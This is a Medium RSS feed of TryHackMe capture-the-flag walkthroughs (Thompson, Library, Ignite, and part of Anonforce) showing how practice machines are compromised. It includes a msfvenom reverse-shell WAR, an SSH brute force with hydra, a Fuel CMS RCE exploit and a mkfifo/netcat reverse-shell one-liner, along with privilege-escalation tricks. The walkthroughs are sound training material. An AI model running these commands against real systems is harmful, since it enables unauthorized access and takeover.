<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by cybersecuritywithme on Medium]]></title>
        <description><![CDATA[Stories by cybersecuritywithme on Medium]]></description>
        <link>https://medium.com/@cybersecuritywithme?source=rss-218187aa8b0c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*fNzEgpQXuzIJ1Je7OiOMbg.png</url>
            <title>Stories by cybersecuritywithme on Medium</title>
            <link>https://medium.com/@cybersecuritywithme?source=rss-218187aa8b0c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 10:43:19 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cybersecuritywithme/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Thompson — TryHackMe]]></title>
            <link>https://medium.com/@cybersecuritywithme/thompson-tryhackme-63a1cd797b0c?source=rss-218187aa8b0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/63a1cd797b0c</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[thompson-tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[cybersecuritywithme]]></dc:creator>
            <pubDate>Tue, 11 Feb 2025 04:56:24 GMT</pubDate>
            <atom:updated>2025-02-11T04:56:24.692Z</atom:updated>
            <content:encoded><![CDATA[<h3>Thompson — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o5FIqQFoOxerx0wapwSieQ.png" /></figure><p>We have to find the user.txt and root.txt file.</p><blockquote><em>To make accessing the machine more convenient, I assigned the domain </em><em>tho.thm to the IP address of the target machine by editing the </em><em>/etc/hosts file. This mapping ensures that any request to </em><em>tho.thm resolved to the target’s IP without relying on DNS.</em></blockquote><h3>Initial Enumeration</h3><p>Let’s first start the machine and then run the Nmap scan to find out what services and ports are open.</p><pre> sudo nmap -sCV tho.thm<br>Starting Nmap 7.92 ( https://nmap.org ) at 2025-01-07 05:58 EST<br>Nmap scan report for tho.thm (10.10.34.149)<br>Host is up (0.55s latency).<br>Not shown: 997 closed tcp ports (reset)<br>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)<br>|   256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)<br>|_  256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)<br>8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)<br>|_ajp-methods: Failed to get a valid response for the OPTION request<br>8080/tcp open  http    Apache Tomcat 8.5.5<br>|_http-title: Apache Tomcat/8.5.5<br>|_http-favicon: Apache Tomcat<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 66.98 seconds</pre><p>Looks like Apache Tomcat is running on port 8080. Let’s access it ip-address:8080</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i1hJNb0QagQJuSKro4zndg.png" /></figure><p>The Manager app asked for a username and password, so I tried some default passwords and got in.</p><p>Here is the default password list that I used.</p><p><a href="https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown">Default-Credentials/Apache-Tomcat-Default-Passwords.mdown at master · netbiosX/Default-Credentials</a></p><p>But there is another method that finds it accidentally, as the default password is running in the back, I thought why not check if there is anything that I am missing and click on the cancel button and I was redirected to the 401 unauthorized page and there I found the password and username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*GnMUf0pME_L5eOCsEaIs0A.png" /></figure><p>Now we log in and there are many features, but the thing that caught my attention is the file upload option. It&#39;s asking for the .war file.</p><p>I use msfvenom to create a reverse shell script.</p><pre>$ msfvenom -p java/jsp_shell_reverse_tcp lhost=10.4.115.120 lport=1234 -f war &gt; shell.war<br>Payload size: 1108 bytes<br>Final size of war file: 1108 bytes<br>┌──(kali㉿kali)-[~]<br>└─$</pre><p>I uploaded the file and checked if the upload was successful and it was.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*juQC7S4FbA0aDSDxivHRGg.png" /></figure><p>First start the listener. And then access this Apache webpage at /shell</p><p>we got the shell.</p><pre>┌──(kali㉿kali)-[~]<br>└─$ nc -lvnp 1234<br>listening on [any] 1234 ...<br>connect to [10.4.115.120] from (UNKNOWN) [10.10.34.149] 42954<br>id<br>uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)<br>ls<br>bin<br>boot<br>dev<br>etc<br>home<br>initrd.img<br>initrd.img.old<br>lib<br>lib64<br>lost+found<br>media<br>mnt<br>opt<br>proc<br>root<br>run<br>sbin<br>srv<br>sys<br>tmp<br>usr<br>var<br>vmlinuz<br>vmlinuz.old<br><br></pre><p>we got the user.txt in the home directory.</p><pre>cd home <br>ls -la<br>total 12<br>drwxr-xr-x  3 root root 4096 Aug 14  2019 .<br>drwxr-xr-x 22 root root 4096 Aug 14  2019 ..<br>drwxr-xr-x  4 jack jack 4096 Aug 23  2019 jack<br>cd jack<br>ls -la<br>total 48<br>drwxr-xr-x 4 jack jack 4096 Aug 23  2019 .<br>drwxr-xr-x 3 root root 4096 Aug 14  2019 ..<br>-rw------- 1 root root 1476 Aug 14  2019 .bash_history<br>-rw-r--r-- 1 jack jack  220 Aug 14  2019 .bash_logout<br>-rw-r--r-- 1 jack jack 3771 Aug 14  2019 .bashrc<br>drwx------ 2 jack jack 4096 Aug 14  2019 .cache<br>-rwxrwxrwx 1 jack jack   26 Aug 14  2019 id.sh<br>drwxrwxr-x 2 jack jack 4096 Aug 14  2019 .nano<br>-rw-r--r-- 1 jack jack  655 Aug 14  2019 .profile<br>-rw-r--r-- 1 jack jack    0 Aug 14  2019 .sudo_as_admin_successful<br>-rw-r--r-- 1 root root   39 Jan  7 03:30 test.txt<br>-rw-rw-r-- 1 jack jack   33 Aug 14  2019 user.txt<br>-rw-r--r-- 1 root root  183 Aug 14  2019 .wget-hsts<br>cat user.txt<br>39400c90bc683a41a8935e4719f181bf</pre><h3>Privilege Escalation</h3><p>There is an executable file id.sh. And it’s just running the id command and store in the test.txt.</p><p>We are going to modify it and copy the root.txt file content into the test.txt file.</p><p>We have to wait for a few min and it works.</p><pre><br>cd jack<br>ls -la<br>total 48<br>drwxr-xr-x 4 jack jack 4096 Aug 23  2019 .<br>drwxr-xr-x 3 root root 4096 Aug 14  2019 ..<br>-rw------- 1 root root 1476 Aug 14  2019 .bash_history<br>-rw-r--r-- 1 jack jack  220 Aug 14  2019 .bash_logout<br>-rw-r--r-- 1 jack jack 3771 Aug 14  2019 .bashrc<br>drwx------ 2 jack jack 4096 Aug 14  2019 .cache<br>-rwxrwxrwx 1 jack jack   38 Jan  7 03:47 id.sh<br>drwxrwxr-x 2 jack jack 4096 Aug 14  2019 .nano<br>-rw-r--r-- 1 jack jack  655 Aug 14  2019 .profile<br>-rw-r--r-- 1 jack jack    0 Aug 14  2019 .sudo_as_admin_successful<br>-rw-r--r-- 1 root root   39 Jan  7 03:35 test.txt<br>-rw-rw-r-- 1 jack jack   33 Aug 14  2019 user.txt<br>-rw-r--r-- 1 root root  183 Aug 14  2019 .wget-hsts<br>cat id.sh<br>cp /root.root.txt /home/jack/root.txt<br>echo &quot;cp /root/root.txt /home/jack/root.txt&quot; &gt; id.sh<br>ls<br>id.sh<br>test.txt<br>user.txt<br>cat id.sh<br>cp /root/root.txt /home/jack/root.txt<br>ls<br>id.sh<br>test.txt<br>user.txt<br>ls<br>id.sh<br>test.txt<br>user.txt<br>ls<br>id.sh<br>root.txt<br>test.txt<br>user.txt<br>cat root.txt<br>d89d5391984c0450a95497153ae7ca3a</pre><p>we got root.txt</p><p>If you like my write-up, make sure to follow me for more updates. Don’t forget to leave a comment on what you think about this write-up.</p><p><strong>Connect with me: </strong><a href="https://x.com/a_m_kokate"><strong>x.com</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=63a1cd797b0c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Library — TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@cybersecuritywithme/library-tryhackme-walkthrough-4619ddf083b3?source=rss-218187aa8b0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/4619ddf083b3</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[thm]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[cybersecuritywithme]]></dc:creator>
            <pubDate>Thu, 09 Jan 2025 06:02:52 GMT</pubDate>
            <atom:updated>2025-01-09T06:02:52.157Z</atom:updated>
            <content:encoded><![CDATA[<h3>Library — TryHackMe Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sw-Wggx7P3wsd_pg9fR2zQ.png" /></figure><p>We have to find the user.txt and root.txt file.</p><blockquote><em>To make accessing the machine more convenient, I assigned the domain </em><em>lib.thm to the IP address of the target machine by editing the </em><em>/etc/hosts file. This mapping ensures that any request to </em><em>lib.thm resolved to the target’s IP without relying on DNS.</em></blockquote><h3>Initial Enumeration</h3><p>Let’s first start the machine and then run the Nmap scan to find out what services and ports are open.</p><pre>sudo nmap -sCV lib.thm<br>Starting Nmap 7.92 ( https://nmap.org ) at 2025-01-05 01:42 EST<br>Nmap scan report for lib.thm (10.10.58.48)<br>Host is up (0.52s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 c4:2f:c3:47:67:06:32:04:ef:92:91:8e:05:87:d5:dc (RSA)<br>|   256 68:92:13:ec:94:79:dc:bb:77:02:da:99:bf:b6:9d:b0 (ECDSA)<br>|_  256 43:e8:24:fc:d8:b8:d3:aa:c2:48:08:97:51:dc:5b:7d (ED25519)<br>80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>| http-robots.txt: 1 disallowed entry <br>|_/<br>|_http-title: Welcome to  Blog - Library Machine<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 106.88 seconds</pre><p>It looks like ports 22/tcp and 80/tcp are open. While visiting the home page we found a username meliodas .</p><p>Running the gobuster to check if there are any hidden folders and directories.</p><pre>gobuster dir -u http://10.10.58.48/ -w /usr/share/wordlists/dirb/common.txt                       <br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://10.10.58.48/<br>[+] Method:                  GET<br>[+] Threads:                 10<br>[+] Wordlist:                /usr/share/wordlists/dirb/common.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/.hta                 (Status: 403) [Size: 290]<br>/.htaccess            (Status: 403) [Size: 295]<br>/.htpasswd            (Status: 403) [Size: 295]<br>/images               (Status: 301) [Size: 311] [--&gt; http://10.10.58.48/images/]<br>/index.html           (Status: 200) [Size: 5439]<br>/robots.txt           (Status: 200) [Size: 33]<br>/server-status        (Status: 403) [Size: 299]<br>Progress: 4614 / 4615 (99.98%)<br>===============================================================<br>Finished<br>===============================================================</pre><p>We didn’t find out much. The image folder has some pics, but that’s about it. However, the /robots.txt file has a mention of rockyou. Looks like we need to use the rockyou wordlist for some brute forcing.</p><p>Since we’ve got a username, why not give the SSH brute force a shot with the rockyou wordlist and see if we can snag something?</p><pre>hydra -l  meliodas -P /usr/share/wordlists/rockyou.txt 10.10.58.48 ssh  <br>Hydra v9.3 (c) 2022 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).<br><br>Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-05 02:26:48<br>[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4<br>[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore<br>[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task<br>[DATA] attacking ssh://10.10.58.48:22/<br>[STATUS] 81.00 tries/min, 81 tries in 00:01h, 14344321 to do in 2951:31h, 13 active<br>[22][ssh] host: 10.10.58.48   login: meliodas   password: iloveyou1<br>1 of 1 target successfully completed, 1 valid password found<br>[WARNING] Writing restore file because 2 final worker threads did not complete until end.<br>[ERROR] 2 targets did not resolve or could not be connected<br>[ERROR] 0 target did not complete<br>Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-05 02:29:55</pre><p>We got the password. Let’s log in.</p><pre>ssh meliodas@lib.thm  <br>The authenticity of host &#39;lib.thm (10.10.58.48)&#39; can&#39;t be established.<br>ED25519 key fingerprint is SHA256:Ykgtf0Q1wQcyrBaGkW4BEBf3eK/QPGXnmEMgpaLxmzs.<br>This key is not known by any other names<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;lib.thm&#39; (ED25519) to the list of known hosts.<br>meliodas@lib.thm&#39;s password: <br>Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-159-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/advantage<br>Last login: Sat Aug 24 14:51:01 2019 from 192.168.15.118<br>meliodas@ubuntu:~$ id<br>uid=1000(meliodas) gid=1000(meliodas) groups=1000(meliodas),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)<br>meliodas@ubuntu:~$</pre><p>We got our user flag.</p><h3>Privilege Escalation</h3><p>Let’s find out if the user has granted any root permissions to any files.</p><pre> sudo -l <br>Matching Defaults entries for meliodas on ubuntu:<br>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin<br><br>User meliodas may run the following commands on ubuntu:<br>    (ALL) NOPASSWD: /usr/bin/python* /home/meliodas/bak.py</pre><pre>meliodas@ubuntu:~$ cat bak.py<br>#!/usr/bin/env python<br>import os<br>import zipfile<br><br>def zipdir(path, ziph):<br>    for root, dirs, files in os.walk(path):<br>        for file in files:<br>            ziph.write(os.path.join(root, file))<br><br>if __name__ == &#39;__main__&#39;:<br>    zipf = zipfile.ZipFile(&#39;/var/backups/website.zip&#39;, &#39;w&#39;, zipfile.ZIP_DEFLATED)<br>    zipdir(&#39;/var/www/html&#39;, zipf)<br>    zipf.close()</pre><p>Looks like bask.py can run as root, but the user meliodas can’t edit it. Let’s just delete that file and make a new one with the same name. Then we can throw in some code to get ourselves a root shell.</p><pre><br>meliodas@ubuntu:~$ sudo -l <br>Matching Defaults entries for meliodas on ubuntu:<br>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin<br><br>User meliodas may run the following commands on ubuntu:<br>    (ALL) NOPASSWD: /usr/bin/python* /home/meliodas/bak.py<br>meliodas@ubuntu:~$ rm bak.py <br>rm: remove write-protected regular file &#39;bak.py&#39;? y<br>meliodas@ubuntu:~$ touch bak.py<br>meliodas@ubuntu:~$ echo &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39; &gt; bak.py<br>meliodas@ubuntu:~$ sudo python /home/meliodas/bak.py<br>root@ubuntu:~# whoami<br>root<br>root@ubuntu:~# ls<br>bak.py  user.txt<br>root@ubuntu:~# cd /root/<br>root@ubuntu:/root# ls<br>root.txt<br>root@ubuntu:/root# cat root.txt <br>e8c8c6c256c35515d1d344ee0488c617<br>root@ubuntu:/root#</pre><p>root.txt</p><p>If you like my write-up, make sure to follow me for more updates. Don’t forget to leave a comment on what you think about this write-up.</p><p><strong>Connect with me: </strong><a href="https://x.com/a_m_kokate"><strong>x.com</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4619ddf083b3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ignite -TryHackMe]]></title>
            <link>https://medium.com/@cybersecuritywithme/ignite-tryhackme-df087cfdc036?source=rss-218187aa8b0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/df087cfdc036</guid>
            <category><![CDATA[ignite]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[cybersecuritywithme]]></dc:creator>
            <pubDate>Mon, 06 Jan 2025 06:33:14 GMT</pubDate>
            <atom:updated>2025-01-06T06:33:14.900Z</atom:updated>
            <content:encoded><![CDATA[<p>A new start-up has a few issues with their web server.</p><figure><img alt="THM" src="https://cdn-images-1.medium.com/max/1024/1*3ACQ0nvK5Dk_qElwUuaHQg.png" /></figure><p>We have to find the user.txt and root.txt file.</p><blockquote><em>To make accessing the machine more convenient, I assigned the domain </em><em>ign.thm to the IP address of the target machine by editing the </em><em>/etc/hosts file. This mapping ensures that any request to </em><em>ign.thm resolved to the target’s IP without relying on DNS.</em></blockquote><h3>Initial Enumeration</h3><p>Let’s first start the machine and then run the Nmap scan to find out what services and ports are open.</p><pre>sudo nmap -sCV ign.thm<br>Starting Nmap 7.92 ( https://nmap.org ) at 2025-01-03 05:09 EST<br>Nmap scan report for ign.thm (10.10.101.214)<br>Host is up (0.57s latency).<br>Not shown: 999 closed tcp ports (reset)<br>PORT   STATE SERVICE VERSION<br>80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))<br>| http-robots.txt: 1 disallowed entry <br>|_/fuel/<br>|_http-title: Welcome to FUEL CMS<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 32.45 seconds</pre><p>Looks like the port 80/tcp is open and Fuel-CMS is running on Apache/2.4.18 (ubuntu).</p><p>On the website, I noticed that it was using Fuel-CMS version 1.4 and the admin username and passwords with some directories are visible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I98Dzr75yIHSXtpMvgj8UA.png" /><figcaption>web 0.1</figcaption></figure><p>We successfully logged in using the administrator username and password. Despite obtaining access, there remains a substantial amount of functionality to investigate. I attempted various file uploads; however, it appears that certain restrictions are in place. Given the complexity of the situation, I will document any noteworthy findings and concentrate on exploits searching.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4xq9VyQAFcirt0OHN9BH0A.png" /><figcaption>web 0.2</figcaption></figure><p>I find exploits on searchsploit and Google hacking databases. There are three exploits on Searchsploit that give us Remote Code Execution.</p><pre>searchsploit Fuel CMS<br><br> Exploit Title                                                        |  Path<br>fuel CMS 1.4.1 - Remote Code Execution (1)                            | linux/webapps/47138.py<br>Fuel CMS 1.4.1 - Remote Code Execution (2)                            | php/webapps/49487.rb<br>Fuel CMS 1.4.1 - Remote Code Execution (3)                            | php/webapps/50477.py<br>Fuel CMS 1.4.13 - &#39;col&#39; Blind SQL Injection (Authenticated)           | php/webapps/50523.txt<br>Fuel CMS 1.4.7 - &#39;col&#39; SQL Injection (Authenticated)                  | php/webapps/48741.txt<br>Fuel CMS 1.4.8 - &#39;fuel_replace_id&#39; SQL Injection (Authenticated)      | php/webapps/48778.txt<br>Fuel CMS 1.5.0 - Cross-Site Request Forgery (CSRF)                    | php/webapps/50884.txt<br><br>Shellcodes: No Results</pre><p>Two of them are not working properly on my system, the one that works for me is 50477.py . We can download the script using the following command.</p><pre>searchsploit -m php/webapps/50477.py<br>  Exploit: Fuel CMS 1.4.1 - Remote Code Execution (3)<br>      URL: https://www.exploit-db.com/exploits/50477<br>     Path: /usr/share/exploitdb/exploits/php/webapps/50477.py<br>File Type: Python script, ASCII text executable<br><br>Copied to: /home/kali/50477.py</pre><p>Now, let&#39;s run the exploit.</p><pre><br>python3 50477.py -u http://10.10.101.214/ <br>[+]Connecting...<br>Enter Command $id<br>systemuid=33(www-data) gid=33(www-data) groups=33(www-data)<br><br><br>Enter Command $</pre><p>This script simply executes the PHP system command in the server.</p><p>As we are able to run a system command let&#39;s try for the reverse shell. First start the listener.</p><pre>nc -lvnp 9001<br>listening on [any] 9001 ...<br></pre><p>Run the reverse shell command.</p><pre>mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.4.115.120 9001 &gt;/tmp/f</pre><p>We got our reverse shell.</p><pre>nc -lvnp 9001<br>listening on [any] 9001 ...<br>connect to [10.4.115.120] from (UNKNOWN) [10.10.101.214] 44286<br>/bin/sh: 0: can&#39;t access tty; job control turned off<br>$ id<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>$ </pre><p>let’s get a better shell.</p><pre>python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>We got our user flag in the /home directory.</p><pre>www-data@ubuntu:/home$ ls<br>ls<br>www-data<br>www-data@ubuntu:/home$ cd www-data<br>cd www-data<br>www-data@ubuntu:/home/www-data$ ls<br>ls<br>flag.txt<br>www-data@ubuntu:/home/www-data$ cat flag.txt<br>cat flag.txt<br>6470e394cbf6dab6a91682cc8585059b <br>www-data@ubuntu:/home/www-data$ </pre><h3>Privilege Escalation</h3><p>Let’s look at what we found, along with the directories that the homepage is pointing us to. When I tried to get to them through the web page, I hit a permission-denied wall. But when I used the shell, I was able to get in. One of the directories we found is /config/database.php .</p><pre>www-data@ubuntu:/var/www/html$ cd fuel<br>cd fuel<br>www-data@ubuntu:/var/www/html/fuel$ ls<br>ls<br>application  data_backup  install   modules<br>codeigniter  index.php    licenses  scripts<br>www-data@ubuntu:/var/www/html/fuel$ cd application<br>cd application<br>www-data@ubuntu:/var/www/html/fuel/application$ ls<br>ls<br>cache   controllers  helpers  index.html  libraries  migrations  third_party<br>config  core         hooks    language    logs       models      views<br>www-data@ubuntu:/var/www/html/fuel/application$ cd config<br>cd config<br>www-data@ubuntu:/var/www/html/fuel/application/config$ ls<br>ls<br>MY_config.php        constants.php      google.php     profiler.php<br>MY_fuel.php          custom_fields.php  hooks.php      redirects.php<br>MY_fuel_layouts.php  database.php       index.html     routes.php<br>MY_fuel_modules.php  doctypes.php       memcached.php  smileys.php<br>asset.php            editors.php        migration.php  social.php<br>autoload.php         environments.php   mimes.php      states.php<br>config.php           foreign_chars.php  model.php      user_agents.php</pre><p>We got the root password!</p><pre>$active_group = &#39;default&#39;;<br>$query_builder = TRUE;<br><br>$db[&#39;default&#39;] = array(<br>        &#39;dsn&#39;   =&gt; &#39;&#39;,<br>        &#39;hostname&#39; =&gt; &#39;localhost&#39;,<br>        &#39;username&#39; =&gt; &#39;root&#39;,<br>        &#39;password&#39; =&gt; &#39;mememe&#39;,<br>        &#39;database&#39; =&gt; &#39;fuel_schema&#39;,<br>        &#39;dbdriver&#39; =&gt; &#39;mysqli&#39;,<br>        &#39;dbprefix&#39; =&gt; &#39;&#39;,<br>        &#39;pconnect&#39; =&gt; FALSE,<br>        &#39;db_debug&#39; =&gt; (ENVIRONMENT !== &#39;production&#39;),<br>        &#39;cache_on&#39; =&gt; FALSE,<br>        &#39;cachedir&#39; =&gt; &#39;&#39;,<br>        &#39;char_set&#39; =&gt; &#39;utf8&#39;,<br>        &#39;dbcollat&#39; =&gt; &#39;utf8_general_ci&#39;,<br>        &#39;swap_pre&#39; =&gt; &#39;&#39;,<br>        &#39;encrypt&#39; =&gt; FALSE,<br>        &#39;compress&#39; =&gt; FALSE,<br>        &#39;stricton&#39; =&gt; FALSE,<br>        &#39;failover&#39; =&gt; array(),<br>        &#39;save_queries&#39; =&gt; TRUE<br>);<br><br>// used for testing purposes<br>if (defined(&#39;TESTING&#39;))<br>{<br>        @include(TESTER_PATH.&#39;config/tester_database&#39;.EXT);<br>}</pre><p>Now let’s log in to the root user.</p><pre>www-data@ubuntu:/var/www/html/fuel/application/config$ su root<br>su root<br>Password: mememe<br><br>root@ubuntu:/var/www/html/fuel/application/config# whoami<br>whoami<br>root<br>root@ubuntu:/var/www/html/fuel/application/config# id<br>id<br>uid=0(root) gid=0(root) groups=0(root)<br>root@ubuntu:/var/www/html/fuel/application/config# </pre><pre>root@ubuntu:/# ls<br>ls<br>bin    dev   initrd.img      lib64       mnt   root  snap  tmp  vmlinuz<br>boot   etc   initrd.img.old  lost+found  opt   run   srv   usr<br>cdrom  home  lib             media       proc  sbin  sys   var<br>root@ubuntu:/# cd root  <br>cd root<br>root@ubuntu:~# ls<br>ls<br>root.txt<br>root@ubuntu:~# cat root.txt<br>cat root.txt<br>b9bbcb33e11b80be759c4e844862482d <br>root@ubuntu:~#</pre><p>root.txt.</p><p>If you like my write-up, make sure to follow me for more updates. Don’t forget to leave a comment on what you think about this write-up.</p><p><strong>Connect with me: </strong><a href="https://x.com/a_m_kokate"><strong>x.com</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df087cfdc036" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Anonforce -TryHackMe]]></title>
            <link>https://medium.com/@cybersecuritywithme/anonforce-tryhackme-ef0bdd3dbbae?source=rss-218187aa8b0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/ef0bdd3dbbae</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[cybersecuritywithme]]></dc:creator>
            <pubDate>Fri, 03 Jan 2025 06:23:32 GMT</pubDate>
            <atom:updated>2025-01-03T06:23:32.334Z</atom:updated>
            <content:encoded><![CDATA[<p>boot2root machine for FIT and bsides guatemala CTF.</p><p>We have to find the user.txt and root.txt file.</p><blockquote>To make accessing the machine more convenient, I assigned the domain anon.thm to the IP address of the target machine by editing the /etc/hosts file. This mapping ensures that any request to anon.thm resolved to the target’s IP without relying on DNS.</blockquote><h3>Initial Enumeration</h3><p>The first thing we have to do after starting the machine is to run an Nmap scan to find out what services and ports are open.</p><pre><br>sudo nmap -sCV anon.thm <br><br>Starting Nmap 7.92 ( https://nmap.org ) at 2025-01-01 05:30 EST<br>Nmap scan report for anon.thm (10.10.129.163)<br>Host is up (0.50s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT   STATE SERVICE VERSION<br>21/tcp open  ftp     vsftpd 3.0.3<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>| drwxr-xr-x    2 0        0            4096 Aug 11  2019 bin<br>| drwxr-xr-x    3 0        0            4096 Aug 11  2019 boot<br>| drwxr-xr-x   17 0        0            3700 Jan 01 02:21 dev<br>| drwxr-xr-x   85 0        0            4096 Aug 13  2019 etc<br>| drwxr-xr-x    3 0        0            4096 Aug 11  2019 home<br>| lrwxrwxrwx    1 0        0              33 Aug 11  2019 initrd.img -&gt; boot/initrd.img-4.4.0-157-generic<br>| lrwxrwxrwx    1 0        0              33 Aug 11  2019 initrd.img.old -&gt; boot/initrd.img-4.4.0-142-generic<br>| drwxr-xr-x   19 0        0            4096 Aug 11  2019 lib<br>| drwxr-xr-x    2 0        0            4096 Aug 11  2019 lib64<br>| drwx------    2 0        0           16384 Aug 11  2019 lost+found<br>| drwxr-xr-x    4 0        0            4096 Aug 11  2019 media<br>| drwxr-xr-x    2 0        0            4096 Feb 26  2019 mnt<br>| drwxrwxrwx    2 1000     1000         4096 Aug 11  2019 notread [NSE: writeable]<br>| drwxr-xr-x    2 0        0            4096 Aug 11  2019 opt<br>| dr-xr-xr-x   86 0        0               0 Jan 01 02:21 proc<br>| drwx------    3 0        0            4096 Aug 11  2019 root<br>| drwxr-xr-x   18 0        0             540 Jan 01 02:21 run<br>| drwxr-xr-x    2 0        0           12288 Aug 11  2019 sbin<br>| drwxr-xr-x    3 0        0            4096 Aug 11  2019 srv<br>| dr-xr-xr-x   13 0        0               0 Jan 01 02:21 sys<br>|_Only 20 shown. Use --script-args ftp-anon.maxlist=-1 to see all.<br>| ftp-syst: <br>|   STAT: <br>| FTP server status:<br>|      Connected to ::ffff:10.4.115.120<br>|      Logged in as ftp<br>|      TYPE: ASCII<br>|      No session bandwidth limit<br>|      Session timeout in seconds is 300<br>|      Control connection is plain text<br>|      Data connections will be plain text<br>|      At session startup, client count was 4<br>|      